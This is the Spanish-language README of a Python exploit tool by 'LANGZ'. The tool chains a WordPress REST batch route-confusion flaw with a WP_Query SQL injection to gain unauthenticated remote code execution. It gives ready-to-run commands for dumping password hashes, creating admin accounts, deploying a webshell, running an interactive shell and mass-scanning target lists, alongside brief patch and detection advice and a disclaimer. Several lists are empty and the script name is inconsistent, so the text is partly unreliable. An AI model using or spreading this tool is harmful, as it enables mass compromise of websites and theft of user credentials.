
Herramienta de exploit en Python que encadena la confusión de rutas por lotes REST de CVE-2026-63030 con la inyección SQL de CVE-2026-60137 para lograr RCE no autenticado en WordPress, lectura de base de datos y despliegue de webshell.
Autor: LANGZ
CVE: CVE-2026-63030 (Encadenado con CVE-2026-60137)
Severidad: Crítica (CVSS 9.8)
Tipo: Ejecución Remota de Código Pre-Autenticación (RCE)
Esta herramienta se proporciona estrictamente con fines educativos y para pruebas de seguridad autorizadas únicamente.
Al utilizar esta herramienta, usted acepta que:
Si utiliza esta herramienta contra un sistema sin autorización, está cometiendo un delito.
El autor no aprueba, respalda ni asume ninguna responsabilidad por tales acciones.
CVE-2026-63030 es una falla de confusión de rutas por lotes en la API REST (CWE-436) en el núcleo de WordPress, introducida en la versión 6.9. Cuando se encadena con CVE-2026-60137 (una inyección SQL ciega en el parámetro author__not_in de WP_Query), permite a un atacante no autenticado lograr ejecución remota de código completa en una instalación predeterminada de WordPress.
Lo que un atacante puede hacer:
Por qué es peligroso:
Actualice WordPress a una versión parcheada:
| Versión Actual | Actualizar A |
|---|---|
| 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.0 – 6.8.5 | 6.8.6 (solo corrección de SQLi) |
Nota: WordPress habilitó las actualizaciones automáticas forzadas, pero los sitios con actualizaciones automáticas deshabilitadas o alojamiento gestionado que retrasa las actualizaciones siguen expuestos. Verifique que la actualización se haya aplicado correctamente.
POST a /wp-json/batch/v1POST a ?rest_route=/batch/v1Busque:
POST inusuales a /wp-json/batch/v1 o ?rest_route=/batch/v1 en los registros de acceso/wp-content/cache/ u otros directorios accesibles desde la webSi encuentra indicadores de compromiso, simplemente eliminar los archivos y la cuenta de administrador no es suficiente. Realice una respuesta completa a incidentes y considere una reconstrucción total del sistema.
La cadena de explotación combina dos vulnerabilidades:
El procesador de lotes de la API REST de WordPress (serve_batch_request_v1) tiene un error de indexación off-by-one. Cuando wp_parse_url() falla en la ruta de una sub-solicitud (por ejemplo, "///"), el WP_Error resultante se añade a $validation[] pero no a $matches[]. Esto desincroniza los dos arrays, provocando que cada solicitud posterior se despache bajo el manejador incorrecto.
Al anidar un lote cuidadosamente estructurado dentro de otro lote, un atacante puede enrutar una solicitud validada por el esquema de un endpoint a través del callback de un endpoint completamente diferente — evitando por completo las verificaciones de permisos.
La solicitud confundida llega al parámetro author__not_in de WP_Query. WordPress convierte la cadena a un array pero omite la sanitización absint(), permitiendo inyección SQL sin procesar. La herramienta utiliza esto para:
UNION SELECT)WP_Post falsosUna vez completada la configuración (descubrir el prefijo de tabla y el ID de administrador), la carga útil de escalada se dispara en una sola solicitud HTTP:
UNION)Luego, la herramienta utiliza las credenciales de administrador generadas para desplegar un webshell basado en plugin para la ejecución de comandos del sistema operativo.
# Single target check
python3 wp2shell.py http://target.com
# Check with active SQLi confirmation
python3 wp2shell.py http://target.com --confirm-sqli
# Read database (fingerprint)
python3 wp2shell.py http://target.com --read --preset fingerprint
# Read user logins and password hashes
python3 wp2shell.py http://target.com --read --preset users
# Deploy webshell and run a command
python3 wp2shell.py http://target.com --shell --cmd id
# Interactive shell
python3 wp2shell.py http://target.com --shell -i
# Mass scan from file
python3 wp2shell.py targets.txt
Ejecute sin argumentos para abrir el menú interactivo:
python3 langz.py
══════════════════════════════════════════════════════════════
██╗ █████╗ ███╗ ██╗ ██████╗ ███████╗
██║ ██╔══██╗████╗ ██║██╔════╝ ╚══███╔╝
██║ ███████║██╔██╗ ██║██║ ███╗ ███╔╝
██║ ██╔══██║██║╚██╗██║██║ ██║ ███╔╝
███████╗██║ ██║██║ ╚████║╚██████╔╝███████╗
╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚══════╝
▓▒░ L A N G Z T O O L S ░▒▓
Author : LANGZ
CVE : (CVE-2026-63030)
──────────────────────────────────────────────────────────────
[1] Single Target - Check
[2] Mass Target - Check
[3] Single Target - Auto Admin
[4] Mass Target - Auto Admin
[5] Exit
──────────────────────────────────────────────────────────────
Results -> Results/results.txt
══════════════════════════════════════════════════════════════
Este proyecto se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.
El autor LANGZ no asume ninguna responsabilidad por cualquier uso indebido o daño causado por esta herramienta.
Autor: LANGZ
CVE: CVE-2026-63030
| Aspecto | Detalle |
|---|
| Versiones Afectadas | WordPress 6.9.0 – 6.9.4, WordPress 7.0.0 – 7.0.1 |
| Afectadas Solo por SQLi | WordPress 6.8.0 – 6.8.5 (solo CVE-2026-60137) |
| Autenticación Requerida | Ninguna |
| Interacción del Usuario | Ninguna |
| Impacto | Compromiso total del sitio — lectura/escritura de base de datos, carga arbitraria de archivos PHP, ejecución de comandos del sistema operativo |
| Estado de Explotación | Explotada activamente en el mundo real; se observaron más de 62,802 IPs atacantes únicas |
| Flag | Descripción |
|---|
--timeout | Tiempo de espera de la solicitud en segundos (predeterminado: 15) |
--proxy | Proxy HTTP (por ejemplo, http://127.0.0.1:8080) |
--threads | Hilos paralelos para escaneo masivo (predeterminado: 50) |
--sleep | Retardo de tiempo SQL para confirmación ciega (predeterminado: 3) |
--samples | Pares de tiempo para confirmación (predeterminado: 3) |
--confirm-sqli | Enviar carga útil de confirmación SQLi activa |
--preset | fingerprint o users |
--query | Expresión SQL personalizada a leer |
--prefix | Prefijo de tabla de base de datos (predeterminado: wp_) |
--max-length | Máximo de caracteres por valor (predeterminado: 128) |
--technique | auto, union, blind o error |
--user | Nombre de usuario administrador (para --shell) |
--password | Contraseña de administrador (para --shell) |
--cmd | Comando a ejecutar en el objetivo |
-i, --interactive | Abrir shell interactivo |